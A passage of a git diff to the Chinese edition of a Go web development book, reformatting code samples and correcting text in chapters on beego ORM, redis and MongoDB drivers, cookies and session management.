"root:root@/my_db?charset=utf8", 30) + //注册定义的model orm.RegisterModel(new(User)) - // 创建table - orm.RunSyncdb("default", false, true) - } + // 创建table + orm.RunSyncdb("default", false, true) +} ``` PostgreSQL 配置: @@ -96,9 +98,9 @@ beego orm: ```Go - func main() { - orm := orm.NewOrm() - } +func main() { + o := orm.NewOrm() +} ``` 简单示例: @@ -124,8 +126,8 @@ func init() { // 注册定义的 model orm.RegisterModel(new(User)) - //RegisterModel 也可以同时注册多个 model - //orm.RegisterModel(new(User), new(Profile), new(Post)) +//RegisterModel 也可以同时注册多个 model +//orm.RegisterModel(new(User), new(Profile), new(Post)) // 创建 table orm.RunSyncdb("default", false, true) @@ -175,67 +177,67 @@ orm.SetMaxOpenConns("default", 30) 目前beego orm支持打印调试,你可以通过如下的代码实现调试 ```Go - orm.Debug = true + orm.Debug = true ``` 接下来我们的例子采用前面的数据库表User,现在我们建立相应的struct ```Go - type Userinfo struct { - Uid int `PK` //如果表的主键不是id,那么需要加上pk注释,显式的说这个字段是主键 - Username string - Departname string - Created time.Time - } +type Userinfo struct { + Uid int `orm:"PK"` //如果表的主键不是id,那么需要加上pk注释,显式的说这个字段是主键 + Username string + Departname string + Created time.Time +} - type User struct { - Uid int `PK` //如果表的主键不是id,那么需要加上pk注释,显式的说这个字段是主键 - Name string - Profile *Profile `orm:"rel(one)"` // OneToOne relation - Post []*Post `orm:"reverse(many)"` // 设置一对多的反向关系 - } +type User struct { + Uid int `orm:"PK"` //如果表的主键不是id,那么需要加上pk注释,显式的说这个字段是主键 + Name string + Profile *Profile `orm:"rel(one)"` // OneToOne relation + Post []*Post `orm:"reverse(many)"` // 设置一对多的反向关系 +} - type Profile struct { - Id int - Age int16 - User *User `orm:"reverse(one)"` // 设置一对一反向关系(可选) - } +type Profile struct { + Id int + Age int16 + User *User `orm:"reverse(one)"` // 设置一对一反向关系(可选) +} - type Post struct { - Id int - Title string - User *User `orm:"rel(fk)"` //设置一对多关系 - Tags []*Tag `orm:"rel(m2m)"` - } +type Post struct { + Id int + Title string + User *User `orm:"rel(fk)"` + Tags []*Tag `orm:"rel(m2m)"` //设置一对多关系 +} - type Tag struct { - Id int - Name string - Posts []*Post `orm:"reverse(many)"` - } +type Tag struct { + Id int + Name string + Posts []*Post `orm:"reverse(many)"` +} - func init() { - // 需要在init中注册定义的model - orm.RegisterModel(new(Userinfo),new(User), new(Profile), new(Tag)) - } +func init() { + // 需要在init中注册定义的model + orm.RegisterModel(new(Userinfo),new(User), new(Profile), new(Post), new(Tag)) +} ``` ->注意一点,beego orm针对驼峰命名会自动帮你转化成下划线字段,例如你定义了Struct名字为`User`,那么转化成底层实现的时候是`user_info`,字段命名也遵循该规则。 +>注意一点,beego orm针对驼峰命名会自动帮你转化成下划线字段,例如你定义了struct名字为`UserInfo`,那么转化成底层实现的时候是`user_info`,字段命名也遵循该规则。 ## 插入数据 下面的代码演示了如何插入一条记录,可以看到我们操作的是struct对象,而不是原生的sql语句,最后通过调用Insert接口将数据保存到数据库。 ```Go - o := orm.NewOrm() - var user User - user.Name = "zxxx" - user.Departname = "zxxx" +o := orm.NewOrm() +var user User +user.Name = "zxxx" +user.Departname = "zxxx" - id, err := o.Insert(&user) - if err == nil { - fmt.Println(id) - } +id, err := o.Insert(&user) +if err == nil { + fmt.Println(id) +} ``` 我们看到插入之后`user.Uid`就是插入成功之后的自增ID。 @@ -267,14 +269,14 @@ bulk 为 1 时,将会顺序插入 slice 中的数据 继续上面的例子来演示更新操作,现在user的主键已经有值了,此时调用Insert接口,beego orm内部会自动调用update以进行数据的更新而非插入操作。 ```Go - o := orm.NewOrm() - user := User{Uid: 1} - if o.Read(&user) == nil { - user.Name = "MyName" - if num, err := o.Update(&user); err == nil { - fmt.Println(num) - } +o := orm.NewOrm() +user := User{Uid: 1} +if o.Read(&user) == nil { + user.Name = "MyName" + if num, err := o.Update(&user); err == nil { + fmt.Println(num) } +} ``` Update 默认更新所有的字段,可以更新指定的字段: ```Go @@ -285,7 +287,7 @@ o.Update(&user, "Name") // o.Update(&user, "Field1", "Field2", ...) ``` -//Where:用来设置条件,支持多个参数,第一个参数如果为整数,相当于调用了Where("主键=?",值)。 +Where: 用来设置条件,支持多个参数,第一个参数如果为整数,相当于调用了Where("主键=?",值)。 ## 查询数据 beego orm的查询接口比较灵活,具体使用请看下面的例子 @@ -293,44 +295,44 @@ beego orm的查询接口比较灵活,具体使用请看下面的例子 例子1,根据主键获取数据: ```Go - o := orm.NewOrm() - var user User - - user := User{Id: 1} +o := orm.NewOrm() +var user User - err = o.Read(&user) +user := User{Id: 1} - if err == orm.ErrNoRows { - fmt.Println("查询不到") - } else if err == orm.ErrMissPK { - fmt.Println("找不到主键") - } else { - fmt.Println(user.Id, user.Name) - } +err = o.Read(&user) + +if err == orm.ErrNoRows { + fmt.Println("查询不到") +} else if err == orm.ErrMissPK { + fmt.Println("找不到主键") +} else { + fmt.Println(user.Id, user.Name) +} ``` 例子2: ```Go - o := orm.NewOrm() - var user User +o := orm.NewOrm() +var user User - qs := o.QueryTable(user) // 返回 QuerySeter - qs.Filter("id", 1) // WHERE id = 1 - qs.Filter("profile__age", 18) // WHERE profile.age = 18 +qs := o.QueryTable(user) // 返回 QuerySeter +qs.Filter("id", 1) // WHERE id = 1 +qs.Filter("profile__age", 18) // WHERE profile.age = 18 ``` 例子3,WHERE IN查询条件: ```Go - qs.Filter("profile__age__in", 18, 20) - // WHERE profile.age IN (18, 20) +qs.Filter("profile__age__in", 18, 20) +// WHERE profile.age IN (18, 20) ``` 例子4,更加复杂的条件: ```Go - qs.Filter("profile__age__in", 18, 20).Exclude("profile__lt", 1000) - // WHERE profile.age IN (18, 20) AND NOT profile_id < 1000 +qs.Filter("profile__age__in", 18, 20).Exclude("profile__lt", 1000) +// WHERE profile.age IN (18, 20) AND NOT profile_id < 1000 ``` @@ -339,15 +341,15 @@ beego orm的查询接口比较灵活,具体使用请看下面的例子 例子1,根据条件age>17,获取20位置开始的10条数据的数据 ```Go - var allusers []User - qs.Filter("profile__age__gt", 17) - // WHERE profile.age > 17 +var allusers []User +qs.Filter("profile__age__gt", 17) +// WHERE profile.age > 17 ``` 例子2,limit默认从10开始,获取10条数据 ```Go - qs.Limit(10, 20) - // LIMIT 10 OFFSET 20 注意跟SQL反过来的 +qs.Limit(10, 20) +// LIMIT 10 OFFSET 20 注意跟SQL反过来的 ``` ## 删除数据 @@ -356,10 +358,10 @@ beedb提供了丰富的删除数据接口,请看下面的例子 例子1,删除单条数据 ```Go - o := orm.NewOrm() - if num, err := o.Delete(&User{Id: 1}); err == nil { - fmt.Println(num) - } +o := orm.NewOrm() +if num, err := o.Delete(&User{Id: 1}); err == nil { + fmt.Println(num) +} ``` Delete 操作会对反向关系进行操作,此例中 Post 拥有一个到 User 的外键。删除 User 的时候。如果 on_delete 设置为默认的级联操作,将删除对应的 Post @@ -367,30 +369,30 @@ Delete 操作会对反向关系进行操作,此例中 Post 拥有一个到 Use 有些应用却需要用到连接查询,所以现在beego orm提供了一个简陋的实现方案: ```Go - type Post struct { - Id int `orm:"auto"` - Title string `orm:"size(100)"` - User *User `orm:"rel(fk)"` - } +type Post struct { + Id int `orm:"auto"` + Title string `orm:"size(100)"` + User *User `orm:"rel(fk)"` +} - var posts []*Post - qs := o.QueryTable("post") - num, err := qs.Filter("User__Name", "slene").All(&posts) +var posts []*Post +qs := o.QueryTable("post") +num, err := qs.Filter("User__Name", "slene").All(&posts) ``` 上面代码中我们看到了一个struct关联查询 -## Group By和Having +## GroupBy和Having 针对有些应用需要用到group by的功能,beego orm也提供了一个简陋的实现 ```Go - qs.OrderBy("id", "-profile__age") - // ORDER BY id ASC, profile.age DESC +qs.OrderBy("id", "-profile__age") +// ORDER BY id ASC, profile.age DESC - qs.OrderBy("-profile__age", "profile") - // ORDER BY profile.age DESC, profile_id ASC +qs.OrderBy("-profile__age", "profile") +// ORDER BY profile.age DESC, profile_id ASC ``` 上面的代码中出现了两个新接口函数 @@ -406,15 +408,15 @@ Having:用来指定having执行的时候的条件 ```Go - o := NewOrm() - var r RawSeter - r = o.Raw("UPDATE user SET name = ? WHERE name = ?", "testing", "slene") +o := orm.NewOrm() +var r orm.RawSeter +r = o.Raw("UPDATE user SET name = ? WHERE name = ?", "testing", "slene") ``` 复杂原生sql使用: ```Go -func (m *User) Query(name string) []User { +func (m *User) Query(name string) user []User { var o orm.Ormer var rs orm.RawSeter o = orm.NewOrm() @@ -422,14 +424,15 @@ func (m *User) Query(name string) []User { "WHERE name=? AND uid>10 "+ "ORDER BY uid DESC "+ "LIMIT 100", name) - var user []User + //var user []User num, err := rs.QueryRows(&user) if err != nil { fmt.Println(err) } else { fmt.Println(num) - return user + //return user } + return } ``` diff --git a/zh/05.6.md b/zh/05.6.md index bac319d87..5709f36f1 100644 --- a/zh/05.6.md +++ b/zh/05.6.md @@ -9,7 +9,7 @@ redis是一个key-value存储系统。和Memcached类似,它支持存储的val 目前应用redis最广泛的应该是新浪微博平台,其次还有Facebook收购的图片社交网站instagram。以及其他一些有名的[互联网企业](http://redis.io/topics/whos-using-redis) Go目前支持redis的驱动有如下 -- https://github.com/garyburd/redigo (推荐) +- https://github.com/gomodule/redigo (推荐) - https://github.com/go-redis/redis - https://github.com/hoisie/redis - https://github.com/alphazero/Go-Redis @@ -18,117 +18,119 @@ Go目前支持redis的驱动有如下 我以redigo驱动为例来演示如何进行数据的操作: ```Go - package main - - import ( - "fmt" - "github.com/garyburd/redigo/redis" - "os" - "os/signal" - "syscall" - "time" - ) - - var ( - Pool *redis.Pool - ) - - func init() { - redisHost := ":6379" - Pool = newPool(redisHost) - close() - } +package main - func newPool(server string) *redis.Pool { +import ( + "fmt" + "os" + "os/signal" + "syscall" + "time" - return &redis.Pool{ + "github.com/gomodule/redigo/redis" +) - MaxIdle: 3, - IdleTimeout: 240 * time.Second, +var ( + Pool *redis.Pool +) - Dial: func() (redis.Conn, error) { - c, err := redis.Dial("tcp", server) - if err != nil { - return nil, err - } - return c, err - }, +func init() { + redisHost := ":6379" + Pool = newPool(redisHost) + close() +} - TestOnBorrow: func(c redis.Conn, t time.Time) error { - _, err := c.Do("PING") - return err - }, - } - } +func newPool(server string) *redis.Pool { - func close() { - c := make(chan os.Signal, 1) - signal.Notify(c, os.Interrupt) - signal.Notify(c, syscall.SIGTERM) - signal.Notify(c, syscall.SIGKILL) - go func() { - <-c - Pool.Close() - os.Exit(0) - }() - } + return &redis.Pool{ - func Get(key string) ([]byte, error) { + MaxIdle: 3, + IdleTimeout: 240 * time.Second, - conn := Pool.Get() - defer conn.Close() + Dial: func() (redis.Conn, error) { + c, err := redis.Dial("tcp", server) + if err != nil { + return nil, err + } + return c, err + }, - var data []byte - data, err := redis.Bytes(conn.Do("GET", key)) - if err != nil { - return data, fmt.Errorf("error get key %s: %v", key, err) + TestOnBorrow: func(c redis.Conn, t time.Time) error { + _, err := c.Do("PING") + return err } - return data, err } - - func main() { - test, err := Get("test") - fmt.Println(test, err) +} + +func close() { + c := make(chan os.Signal, 1) + signal.Notify(c, os.Interrupt) + signal.Notify(c, syscall.SIGTERM) + signal.Notify(c, syscall.SIGKILL) + go func() { + <-c + Pool.Close() + os.Exit(0) + }() +} + +func Get(key string) ([]byte, error) { + + conn := Pool.Get() + defer conn.Close() + + var data []byte + data, err := redis.Bytes(conn.Do("GET", key)) + if err != nil { + return data, fmt.Errorf("error get key %s: %v", key, err) } + return data, err +} + +func main() { + test, err := Get("test") + fmt.Println(test, err) +} ``` -另外以前我fork了最后一个驱动,更新了一些bug,目前应用在我自己的短域名服务项目中(每天200W左右的PV值) +另外以前我fork了最后一个驱动,修复了一些bug,目前应用在我自己的短域名服务项目中(每天200W左右的PV值) https://github.com/astaxie/goredis 接下来的以我自己fork的这个redis驱动为例来演示如何进行数据的操作 ```Go - package main - - import ( - "github.com/astaxie/goredis" - "fmt" - ) - - func main() { - var client goredis.Client - // 设置端口为redis默认端口 - client.Addr = "127.0.0.1:6379" - - //字符串操作 - client.Set("a", []byte("hello")) - val, _ := client.Get("a") - fmt.Println(string(val)) - client.Del("a") - - //list操作 - vals := []string{"a", "b", "c", "d", "e"} - for _, v := range vals { - client.Rpush("l", []byte(v)) - } - dbvals,_ := client.Lrange("l", 0, 4) - for i, v := range dbvals { - println(i,":",string(v)) - } - client.Del("l") +package main + +import ( + "fmt" + + "github.com/astaxie/goredis" +) + +func main() { + var client goredis.Client + // 设置端口为redis默认端口 + client.Addr = "127.0.0.1:6379" + + //字符串操作 + client.Set("a", []byte("hello")) + val, _ := client.Get("a") + fmt.Println(string(val)) + client.Del("a") + + //list操作 + vals := []string{"a", "b", "c", "d", "e"} + for _, v := range vals { + client.Rpush("l", []byte(v)) } + dbvals,_ := client.Lrange("l", 0, 4) + for i, v := range dbvals { + println(i,":",string(v)) + } + client.Del("l") +} ``` 我们可以看到操作redis非常的方便,而且我实际项目中应用下来性能也很高。client的命令和redis的命令基本保持一致。所以和原生态操作redis非常类似。 @@ -148,52 +150,53 @@ MongoDB是一个高性能,开源,无模式的文档型数据库,是一个 安装mgo: ```Go - go get gopkg.in/mgo.v2 +go get gopkg.in/mgo.v2 ``` 下面我将演示如何通过Go来操作mongoDB: ```Go - package main +package main - import ( - "fmt" - "gopkg.in/mgo.v2" - "gopkg.in/mgo.v2/bson" - "log" - ) +import ( + "fmt" + "log" - type Person struct { - Name string - Phone string - } + "gopkg.in/mgo.v2" + "gopkg.in/mgo.v2/bson" +) - func main() { - session, err := mgo.Dial("server1.example.com,server2.example.com") - if err != nil { - panic(err) - } - defer session.Close() +type Person struct { + Name string + Phone string +} - // Optional. Switch the session to a monotonic behavior. - session.SetMode(mgo.Monotonic, true) +func main() { + session, err := mgo.Dial("server1.example.com,server2.example.com") + if err != nil { + panic(err) + } + defer session.Close() - c := session.DB("test").C("people") - err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, - &Person{"Cla", "+55 53 8402 8510"}) - if err != nil { - log.Fatal(err) - } + // Optional. Switch the session to a monotonic behavior. + session.SetMode(mgo.Monotonic, true) - result := Person{} - err = c.Find(bson.M{"name": "Ale"}).One(&result) - if err != nil { - log.Fatal(err) - } + c := session.DB("test").C("people") + err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, + &Person{"Cla", "+55 53 8402 8510"}) + if err != nil { + log.Fatal(err) + } - fmt.Println("Phone:", result.Phone) + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + if err != nil { + log.Fatal(err) } + fmt.Println("Phone:", result.Phone) +} + ``` 我们可以看出来mgo的操作方式和beedb的操作方式几乎类似,都是基于struct的操作方式,这个就是Go Style。 diff --git a/zh/06.0.md b/zh/06.0.md index ad620a3a2..5609809e2 100644 --- a/zh/06.0.md +++ b/zh/06.0.md @@ -1,7 +1,8 @@ # 6 session和数据存储 Web开发中一个很重要的议题就是如何做好用户的整个浏览过程的控制,因为HTTP协议是无状态的,所以用户的每一次请求都是无状态的,我们不知道在整个Web操作过程中哪些连接与该用户有关,我们应该如何来解决这个问题呢?Web里面经典的解决方案是cookie和session,cookie机制是一种客户端机制,把用户数据保存在客户端,而session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构来保存信息,每一个网站访客都会被分配给一个唯一的标志符,即sessionID,它的存放形式无非两种:要么经过url传递,要么保存在客户端的cookies里.当然,你也可以将Session保存到数据库里,这样会更安全,但效率方面会有所下降。 -6.1小节里面讲介绍session机制和cookie机制的关系和区别,6.2讲解Go语言如何来实现session,里面讲实现一个简易的session管理器,6.3小节讲解如何防止session被劫持的情况,如何有效的保护session。我们知道session其实可以存储在任何地方,6.3小节里面实现的session是存储在内存中的,但是如果我们的应用进一步扩展了,要实现应用的session共享,那么我们可以把session存储在数据库中(memcache或者redis),6.4小节将详细的讲解如何实现这些功能。 +6.1小节里面讲介绍session机制和cookie机制的关系和区别,6.2讲解Go语言如何来实现session,里面讲实现一个简易的session管理器,6.3小节讲解如何防止session被劫持的情况,如何有效的保护session。我们知道session其实可以存储在任何地方,6.4小节里面实现的session是存储在内存中的,但是如果我们的应用进一步扩展了,要实现应用的session共享,那么我们可以把session存储在数据库中(memcache或者redis),6.5小节将详细的讲解如何实现这些功能。 + ## 目录 ![](images/navi6.png?raw=true) diff --git a/zh/06.1.md b/zh/06.1.md index 1a4c260fa..92e9acc6b 100644 --- a/zh/06.1.md +++ b/zh/06.1.md @@ -3,9 +3,9 @@ session和cookie是网站浏览中较为常见的两个概念,也是比较难 如何抓取一个访问受限的网页?如新浪微博好友的主页,个人微博页面等。 -显然,通过浏览器,我们可以手动输入用户名和密码来访问页面,而所谓的“抓取”,其实就是使用程序来模拟完成同样的工作,因此我们需要了解“登陆”过程中到底发生了什么。 +显然,通过浏览器,我们可以手动输入用户名和密码来访问页面,而所谓的“抓取”,其实就是使用程序来模拟完成同样的工作,因此我们需要了解“登录”过程中到底发生了什么。 -当用户来到微博登陆页面,输入用户名和密码之后点击“登录”后浏览器将认证信息POST给远端的服务器,服务器执行验证逻辑,如果验证通过,则浏览器会跳转到登录用户的微博首页,在登录成功后,服务器如何验证我们对其他受限制页面的访问呢?因为HTTP协议是无状态的,所以很显然服务器不可能知道我们已经在上一次的HTTP请求中通过了验证。当然,最简单的解决方案就是所有的请求里面都带上用户名和密码,这样虽然可行,但大大加重了服务器的负担(对于每个request都需要到数据库验证),也大大降低了用户体验(每个页面都需要重新输入用户名密码,每个页面都带有登录表单)。既然直接在请求中带上用户名与密码不可行,那么就只有在服务器或客户端保存一些类似的可以代表身份的信息了,所以就有了cookie与session。 +当用户来到微博登录页面,输入用户名和密码之后点击“登录”后浏览器将认证信息POST给远端的服务器,服务器执行验证逻辑,如果验证通过,则浏览器会跳转到登录用户的微博首页,在登录成功后,服务器如何验证我们对其他受限制页面的访问呢?因为HTTP协议是无状态的,所以很显然服务器不可能知道我们已经在上一次的HTTP请求中通过了验证。当然,最简单的解决方案就是所有的请求里面都带上用户名和密码,这样虽然可行,但大大加重了服务器的负担(对于每个request都需要到数据库验证),也大大降低了用户体验(每个页面都需要重新输入用户名密码,每个页面都带有登录表单)。既然直接在请求中带上用户名与密码不可行,那么就只有在服务器或客户端保存一些类似的可以代表身份的信息了,所以就有了cookie与session。 cookie,简而言之就是在本地计算机保存一些用户操作的历史信息(当然包括登录信息),并在用户再次访问该站点时浏览器通过HTTP协议将本地cookie内容发送给服务器,从而完成验证,或继续上一步操作。 @@ -28,7 +28,7 @@ Cookie是由浏览器维持的,存储在客户端的一小段文本信息, cookie是有时间限制的,根据生命期不同分成两种:会话cookie和持久cookie; -如果不设置过期时间,则表示这个cookie生命周期为从创建到浏览器关闭止,只要关闭浏览器窗口,cookie就消失了。这种生命期为浏览会话期的cookie被称为会话cookie。会话cookie一般不保存在硬盘上而是保存在内存里。 +如果不设置过期时间,则表示这个cookie的生命周期为从创建到浏览器关闭为止,只要关闭浏览器窗口,cookie就消失了。这种生命期为浏览会话期的cookie被称为会话cookie。会话cookie一般不保存在硬盘上而是保存在内存里。 如果设置了过期时间(setMaxAge(60*60*24)),浏览器就会把cookie保存到硬盘上,关闭后再次打开浏览器,这些cookie依然有效直到超过设定的过期时间。存储在硬盘上的cookie可以在不同的浏览器进程间共享,比如两个IE窗口。而对于保存在内存的cookie,不同的浏览器有不同的处理方式。    @@ -37,52 +37,52 @@ cookie是有时间限制的,根据生命期不同分成两种:会话cookie Go语言中通过net/http包中的SetCookie来设置: ```Go - http.SetCookie(w ResponseWriter, cookie *Cookie) +http.SetCookie(w ResponseWriter, cookie *Cookie) ``` w表示需要写入的response,cookie是一个struct,让我们来看一下cookie对象是怎么样的 ```Go - type Cookie struct { - Name string - Value string - Path string - Domain string - Expires time.Time - RawExpires string - - // MaxAge=0 means no 'Max-Age' attribute specified. - // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' - // MaxAge>0 means Max-Age attribute present and given in seconds - MaxAge int - Secure bool - HttpOnly bool - Raw string - Unparsed []string // Raw text of unparsed attribute-value pairs - } +type Cookie struct { + Name string + Value string + Path string + Domain string + Expires time.Time + RawExpires string + +// MaxAge=0 means no 'Max-Age' attribute specified. +// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' +// MaxAge>0 means Max-Age attribute present and given in seconds + MaxAge int + Secure bool + HttpOnly bool + Raw string + Unparsed []string // Raw text of unparsed attribute-value pairs +} ``` 我们来看一个例子,如何设置cookie ```Go - expiration := time.Now() - expiration = expiration.AddDate(1, 0, 0) - cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} - http.SetCookie(w, &cookie) +expiration := time.Now() +expiration = expiration.AddDate(1, 0, 0) +cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} +http.SetCookie(w, &cookie) ```    ### Go读取cookie 上面的例子演示了如何设置cookie数据,我们这里来演示一下如何读取cookie ```Go - cookie, _ := r.Cookie("username") - fmt.Fprint(w, cookie) +cookie, _ := r.Cookie("username") +fmt.Fprint(w, cookie) ``` 还有另外一种读取方式 ```Go - for _, cookie := range r.Cookies() { - fmt.Fprint(w, cookie.Name) - } +for _, cookie := range r.Cookies() { + fmt.Fprint(w, cookie.Name) +} ``` 可以看到通过request获取cookie非常方便。 @@ -94,7 +94,7 @@ session在Web开发环境下的语义又有了新的扩展,它的含义是指 session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。 -但程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否包含了一个session标识-称为session id,如果已经包含一个session id则说明以前已经为此客户创建过session,服务器就按照session id把这个session检索出来使用(如果检索不到,可能会新建一个,这种情况可能出现在服务端已经删除了该用户对应的session对象,但用户人为地在请求的URL后面附加上一个JSESSION的参数)。如果客户请求不包含session id,则为此客户创建一个session并且同时生成一个与此session相关联的session id,这个session id将在本次响应中返回给客户端保存。 +当程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否包含了一个session标识-称为session id,如果已经包含一个session id则说明以前已经为此客户创建过session,服务器就按照session id把这个session检索出来使用(如果检索不到,可能会新建一个,这种情况可能出现在服务端已经删除了该用户对应的session对象,但用户人为地在请求的URL后面附加上一个JSESSION的参数)。如果客户请求不包含session id,则为此客户创建一个session并且同时生成一个与此session相关联的session id,这个session id将在本次响应中返回给客户端保存。 session机制本身并不复杂,然而其实现和配置上的灵活性却使得具体情况复杂多变。这也要求我们不能把仅仅某一次的经验或者某一个浏览器,服务器的经验当作普遍适用的。 @@ -103,7 +103,7 @@ session机制本身并不复杂,然而其实现和配置上的灵活性却使 如上文所述,session和cookie的目的相同,都是为了克服http协议无状态的缺陷,但完成的方法不同。session通过cookie,在客户端保存session id,而将用户的其他会话消息保存在服务端的session对象中,与此相对的,cookie需要将所有信息都保存在客户端。因此cookie存在着一定的安全隐患,例如本地cookie中保存的用户名密码被破译,或cookie被其他网站收集(例如:1. appA主动设置域B cookie,让域B cookie获取;2. XSS,在appA上通过javascript获取document.cookie,并传递给自己的appB)。 -通过上面的一些简单介绍我们了解了cookie和session的一些基础知识,知道他们之间的联系和区别,做web开发之前,有必要将一些必要知识了解清楚,才不会在用到时捉襟见肘,或是在调bug时候如无头苍蝇乱转。接下来的几小节我们将详细介绍session相关的知识。 +通过上面的一些简单介绍我们了解了cookie和session的一些基础知识,知道他们之间的联系和区别,做web开发之前,有必要将一些必要知识了解清楚,才不会在用到时捉襟见肘,或是在调bug时如无头苍蝇乱转。接下来的几小节我们将详细介绍session相关的知识。 ## links * [目录]() diff --git a/zh/06.2.md b/zh/06.2.md index 282d645c7..451a6a3d0 100644 --- a/zh/06.2.md +++ b/zh/06.2.md @@ -34,40 +34,40 @@ session的基本原理是由服务器为每个会话维护一份信息数据, 定义一个全局的session管理器 ```Go - type Manager struct { - cookieName string //private cookiename - lock sync.Mutex // protects session - provider Provider - maxlifetime int64 - } - - func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) { - provider, ok := provides[provideName] - if !ok { - return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) - } - return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil +type Manager struct { + cookieName string // private cookiename + lock sync.Mutex // protects session + provider Provider + maxLifeTime int64 +} + +func NewManager(provideName, cookieName string, maxLifeTime int64) (*Manager, error) { + provider, ok := provides[provideName] + if !ok { + return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) } + return &Manager{provider: provider, cookieName: cookieName, maxLifeTime: maxLifeTime}, nil +} ``` Go实现整个的流程应该也是这样的,在main包中创建一个全局的session管理器 ```Go - var globalSessions *session.Manager - //然后在init函数中初始化 - func init() { - globalSessions, _ = NewManager("memory","gosessionid",3600) - } +var globalSessions *session.Manager +//然后在init函数中初始化 +func init() { + globalSessions, _ = NewManager("memory", "gosessionid", 3600) +} ``` 我们知道session是保存在服务器端的数据,它可以以任何的方式存储,比如存储在内存、数据库或者文件中。因此我们抽象出一个Provider接口,用以表征session管理器底层存储结构。 ```Go - type Provider interface { - SessionInit(sid string) (Session, error) - SessionRead(sid string) (Session, error) - SessionDestroy(sid string) error - SessionGC(maxLifeTime int64) - } +type Provider interface { + SessionInit(sid string) (Session, error) + SessionRead(sid string) (Session, error) + SessionDestroy(sid string) error + SessionGC(maxLifeTime int64) +} ``` - SessionInit函数实现Session的初始化,操作成功则返回此新的Session变量 - SessionRead函数返回sid所代表的Session变量,如果不存在,那么将以sid为参数调用SessionInit函数创建并返回一个新的Session变量 @@ -77,31 +77,31 @@ Go实现整个的流程应该也是这样的,在main包中创建一个全局 那么Session接口需要实现什么样的功能呢?有过Web开发经验的读者知道,对Session的处理基本就 设置值、读取值、删除值以及获取当前sessionID这四个操作,所以我们的Session接口也就实现这四个操作。 ```Go - type Session interface { - Set(key, value interface{}) error //set session value - Get(key interface{}) interface{} //get session value - Delete(key interface{}) error //delete session value - SessionID() string //back current sessionID - } +type Session interface { + Set(key, value interface{}) error // set session value + Get(key interface{}) interface{} // get session value + Delete(key interface{}) error // delete session value + SessionID() string // back current sessionID +} ``` >以上设计思路来源于database/sql/driver,先定义好接口,然后具体的存储session的结构实现相应的接口并注册后,相应功能这样就可以使用了,以下是用来随需注册存储session的结构的Register函数的实现。 ```Go - var provides = make(map[string]Provider) - - // Register makes a session provide available by the provided name. - // If Register is called twice with the same name or if driver is nil, - // it panics. - func Register(name string, provider Provider) { - if provider == nil { - panic("session: Register provide is nil") - } - if _, dup := provides[name]; dup { - panic("session: Register called twice for provide " + name) - } - provides[name] = provider +var provides = make(map[string]Provider) + +// Register makes a session provide available by the provided name. +// If Register is called twice with the same name or if driver is nil, +// it panics. +func Register(name string, provider Provider) { + if provider == nil { + panic("session: Register provider is nil") } + if _, dup := provides[name]; dup { + panic("session: Register called twice for provider " + name) + } + provides[name] = provider +} ``` ### 全局唯一的Session ID @@ -109,49 +109,49 @@ Session ID是用来识别访问Web应用的每一个用户,因此必须保证 ```Go - func (manager *Manager) sessionId() string { - b := make([]byte, 32) - if _, err := io.ReadFull(rand.Reader, b); err != nil { - return "" - } - return base64.URLEncoding.EncodeToString(b) +func (manager *Manager) sessionId() string { + b := make([]byte, 32) + if _, err := rand.Read(b); err != nil { + return "" } + return base64.URLEncoding.EncodeToString(b) +} ``` ### session创建 我们需要为每个来访用户分配或获取与他相关连的Session,以便后面根据Session信息来验证操作。SessionStart这个函数就是用来检测是否已经有某个Session与当前来访用户发生了关联,如果没有则创建之。 ```Go - func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { - manager.lock.Lock() - defer manager.lock.Unlock() - cookie, err := r.Cookie(manager.cookieName) - if err != nil || cookie.Value == "" { - sid := manager.sessionId() - session, _ = manager.provider.SessionInit(sid) - cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)} - http.SetCookie(w, &cookie) - } else { - sid, _ := url.QueryUnescape(cookie.Value) - session, _ = manager.provider.SessionRead(sid) - } - return +func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { + manager.lock.Lock() + defer manager.lock.Unlock() + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + sid := manager.sessionId() + session, _ = manager.provider.SessionInit(sid) + cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxLifeTime)} + http.SetCookie(w, &cookie) + } else { + sid, _ := url.QueryUnescape(cookie.Value) + session, _ = manager.provider.SessionRead(sid) } + return +} ``` 我们用前面login操作来演示session的运用: ```Go - func login(w http.ResponseWriter, r *http.Request) { - sess := globalSessions.SessionStart(w, r) - r.ParseForm() - if r.Method == "GET" { - t, _ := template.ParseFiles("login.gtpl") - w.Header().Set("Content-Type", "text/html") - t.Execute(w, sess.Get("username")) - } else { - sess.Set("username", r.Form["username"]) - http.Redirect(w, r, "/", 302) - } +func login(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + r.ParseForm() + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("username")) + } else { + sess.Set("username", r.Form["username"]) + http.Redirect(w, r, "/", 302) } +} ``` ### 操作值:设置、读取和删除 SessionStart函数返回的是一个满足Session接口的变量,那么我们该如何用他来对session数据进行操作呢? @@ -159,25 +159,25 @@ SessionStart函数返回的是一个满足Session接口的变量,那么我们 上面的例子中的代码`session.Get("uid")`已经展示了基本的读取数据的操作,现在我们再来看一下详细的操作: ```Go - func count(w http.ResponseWriter, r *http.Request) { - sess := globalSessions.SessionStart(w, r) - createtime := sess.Get("createtime") - if createtime 